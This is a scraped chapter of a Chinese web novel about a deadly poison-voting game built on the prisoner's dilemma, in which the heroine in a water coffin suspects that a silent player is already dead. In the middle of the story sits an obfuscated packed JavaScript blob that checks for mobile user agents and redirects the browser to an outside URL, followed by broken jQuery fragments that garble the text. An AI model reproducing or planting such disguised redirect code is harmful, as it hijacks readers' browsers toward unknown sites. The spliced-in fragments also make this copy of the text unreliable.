42. 彩虹节拍-绿青7

作品:《危险智斗游戏[无限]

    两秒后,伴随着细细簌簌的布料摩擦声,音响内传出一个哑嗓的女声:“到,到我了?喂喂喂?我说话你们能听见对吧!快快快……快商量一下游戏啊!”


    她停顿一下,“反正意思是我们每人有五瓶毒药对吧?我听了规则,四个人一起投毒毒药就不会生效,然后我们同时毒药投完,这里说是可以多人一起拿奖励的……我的意思是我们直接投就行了!你们怎么看?”


    “还有就是……呃……暂时就是这样,我们先投一轮,看看情况如何……哦,你们知道那个水鬼附身是什么意思吗?我没听明白,等下如果有人知道的可以说一下……嗯,对,暂时就这些……呃刚才北,北边是没有发言是吗?”


    她的语速较快,15秒内表达了许多,似乎发言前就已经打好了腹稿,效率很高。


    接下来轮到“东”头像闪动光圈,小屏幕上显示“您正在发言中,请向其他被淘汰者表达您本回合的投毒意愿”,音响似乎“嗒”的一声打开收音设备。


    沈墨棠深吸了口气。


    15……


    14……


    13……


    12……


    “我这回合会投毒。”她对小屏幕缓缓说了这句,随后停顿了许久,“可以四个人都拿奖励。”


    这个游戏是典型的“囚徒困境”:即被淘汰者们明知道“四人全投毒”是最优解,但若是无法交流,大家害怕有人不投毒,于是为了自保或获利,自己也会选择不投。


    但“囚徒困境”有个最大的先决条件——就是“囚徒”们彼此之间无法交流。


    此时即然能提供给每位被淘汰者15秒钟的发言时间,那就有达成可能相互信任。


    沈墨棠抽了抽鼻子,鼻子被冻得发疼,只能微微张嘴呼吸。


    事实上有研究表明“囚徒困境”只是构想中的博弈模型,而在现实的测试当中,当代人们会更倾向于“相信”与“合作”,即便参与者相互陌生,仍会默契地选择全局最优解。


    毕竟大家现在接受的教育和耳濡目染的信息越来越接近,都大差不差,都是基于人类社会共存利益的前提。


    沈墨棠只需要传达这份“合作”意识,就是在这种“生死游戏”中杀伤力最大的武器!


    自此“北、西、南、东”都轮了一遍,总共1分钟的“表达意愿”环节结束。


    画面显示游戏进入第一回合的“正式投毒”环节:120秒的倒计时,画面中央出现一瓶清水,覆盖着半透明的【投毒】按键。


    119……


    118……


    117……


    116……


    嘴里呼出的热气在小触控屏上凝成雾。


    沈墨棠盯着画面中央的按键,伸了手,却停在半空中,又缩回来。


    刚才“北”没有发言。


    万一“西”和“南”都退缩了,结果只有沈墨棠自己投了毒——那这回合结束后,她拥有的毒药就会增加到7支!


    就算接下来每回合都成功消耗掉1支,也得到第八回合才能用光。


    自己被毒死的危险将大大增加!


    其他人也会有这样的顾虑吗?


    不……沈墨棠摇摇头。


    自保虽然没错,可游戏的猜疑链一旦形成,四名被淘汰者就会主动进入“囚徒困境”。最终结果还是在慢性自杀,自取灭亡!


    这就是红蟹想看到的?


    不,绝对不能让那家伙得逞!


    刚才西、南、东三方的发言,北应该都已经听到了。


    赌一把吧!


    两分钟的时间不长不短,沈墨棠再次伸手,按下【投毒】键!


    3……


    2……


    1……


    第一回合结束。


    小屏幕显示投毒结果:有毒。


    沈墨棠目光一凛——有毒?!


    有毒……也分两种情况:“1人投毒”或“3人投毒”。


    由于每四回合才公布一次毒药数量,所以此时被淘汰者连自己当前拥有几支毒药都不清楚,根本无法准确判断!


    “哼……有意思……”沈墨棠继续揉搓鼻头。


    所以,现在自己的毒药数量要么是5支不变,要么是增加到7支。


    游戏继续第二回合,触屏画面再次跳出“东”、“北”、“西”、“南”四个黑色的头像。


    这次是由“西”先进行15秒发言。


    音响内只有水声,隔了两秒,颤抖的男人声音才响起:“我?我先吗?嗯……我投了……你们没投吗?刚才是不是只有我投了?好冷……冷死了我……”


    他只说了两句,就没再出声,一直到倒计时还剩5秒时,才哆嗦着从牙关里蹦出一句:“这回合,还投毒吗?”


    3……


    2……


    1……


    轮到“南”发言:“我实话说,我也投了。上家没说谎的话,那就是三个人投。也就是‘东’或者‘北’你们当中有一人没投。刚才说好一起投,结果有人没投,这……呃……哎我就想不通了!为什么不一起投?是着急要去死吗?我……”


    她哑着嗓子,已经想骂脏话了,但又觉得时间宝贵:“你们也是被……反正……呃……我也不知道怎么说,可以合作的!这次是可以合作的!不合作的话……大家就一起死啊?!”


    “南”发言结束,轮到沈墨棠。


    “我也投了毒。”沈墨棠先声明,她尽量让自己的声音听起来足够诚恳:“我赞成南边说的,我们应该合作。先听听北边怎么说。”


    如果玩家在游戏开始时觉得自己毒药数量太多,必然会寄希望于其他三家投毒,让自己能够一回合减少3支毒药。


    这样一来,投毒的概率就会大大降低,其余被淘汰者也会因此畏首畏尾——自此形成不必要的猜疑链。


    谁也不希望游戏往这种糟糕的方向进展!


    现在关键先确定“北”的态度。沈墨棠之后,就轮到“北”发言。


    触屏画面中“北”头像闪动光圈,显示“正在发言中”。


    15……


    14……


    13……


    12……


    时间一秒一秒流逝,音响内始终没有半点声响,仿佛北边的“水棺”里空无一物。


    不说话?


    所以刚才是“北”没投毒?


    连为自己辩解一下都不愿意吗?


    沈墨棠扫了眼毫无变化的黑暗水棺,意识到四名被淘汰者接下来,将会在黑暗中陷入无尽的相互猜忌!


    ——这就是最终结果吗?


    15秒倒计时结束,游戏进入第二回合2分钟的“正式投毒”环节。


    投毒吗?


    沈墨棠抽抽鼻子,不由自主打了个寒颤,勒紧身上单薄的病号服,在水棺中费力地翻了个身。


    117……


    116……


    115……


    114……


    “北”为什么不发言?


    第一次不发言还情有可原,第二次呢?


    为什么?


    沈墨棠眯起眼睛,“哈秋”打了个喷嚏,脑袋“当”的一声磕到头顶的石头上,疼得她倒吸凉气……


    该死的,额头一定肿起来了……</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784414|151071||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    死?等等!


    沈墨棠脑中闪过一个念头!


    北阵营的被淘汰者,该不会已经死了?!


    【彩虹节拍】的第一、二个游戏【力大无穷】和【耳聪目明】都是北阵营获胜——也就是说北阵营淘汰者早已被泡在灌注了2/3冷水的水棺中!


    水棺内如此冰冷,长时间的失稳必然导致人休克,再加上棺内注水……


    “这就对了!”


    上个支线游戏【大者通吃】当中,“北”那奇怪的出牌选择也能解释得通——根本没有操作,全程都是随机选择!


    "真是这样的话……"


    ——接下来【善恶毒药】就不可能达成完美的4人投毒!


    ……


    “老大,我有个问题。”


    东城,酒店顶层俱乐部。


    青五条斜眼盯着屏幕,若有所思:“这个暗线游戏……要不是少了一个人,是不是破局很简单呢?”


    青二条按下通讯器的发送键,肯定青五条的想法:“可以这么说。”


    “啊?”


    “但这算是新人战的第四回合,大多数情况下被淘汰者都不会满员,游戏也会因此有所针对。”


    “这样啊……”青五条挖了勺冰淇淋,又放回玻璃容器里,感叹了一句:“这下被淘汰者难办呢!”


    “得看他们接下来怎么沟通……永夜城,向来都是撑死胆大的饿死胆小的。”


    ……


    102……


    101……


    100……


    99……


    别着急。


    “正式投毒”环节有两分钟,足够好好思考。


    沈墨棠无奈哂笑,明白这场游戏已经变成另类的“懦夫选择”:北淘汰者已经死亡,所以TA永远不会投毒,游戏实际上只存在“0人、1人、2人、3人投毒”这四种情况。


    如果一直都无人投毒,那么大家一起死。


    如果有人主动打破僵局,出现“1人投毒”或“3人投毒”的情况,不仅会令“北”直接获胜,还会令主线游戏中的[水]有毒。


    此时唯一既能获得奖励,又能打破游戏僵局,还能保证[水]无毒的办法,就只剩下“2人投毒”。


    然而,想要达成“2人投毒”的默契,需要仍活着的三名被淘汰者相互信任,轮流消耗毒药。


    否则一旦产生信任危机,脆弱的关系立刻就会荡然无存。


    互相信任,这可真是个冒险的选择啊!


    沈墨棠将右手伸到触屏【投毒】的按键前,停在半空中。


    如果第一回合确实是“东”、“南”、“西”三家投毒,那么此时的毒药数量应该是:东5支、南5支、西5支、北2支……沈墨棠应该先与“西”、“南”两人好好沟通,确定一个投毒方案。


    游戏才第二回合,还有时间,还有时间……


    小屏幕发出的荧光照得沈墨棠的右手轮廓分明,而她藏在身体阴影中的左手,却无意识地“嗒嗒嗒”敲打身下的石头。


    黑暗,冰冷,孤独,压抑……水棺将会埋葬几名被淘汰者?


    有人会知道被投票淘汰的他们,曾经在暗无天日的地方尝试“复苏”吗?


    还是说,在这黑暗的水棺中,有为了满足主办方恶趣味而设置的隐藏摄像头?


    它们到底是什么人?


    沈墨棠垂下右手,侧躺在冰凉的水棺中,等待倒计时结束。


    保险起见,第二回合先不投毒吧。


    3……


    2……


    1……


    第二回合结果:无毒。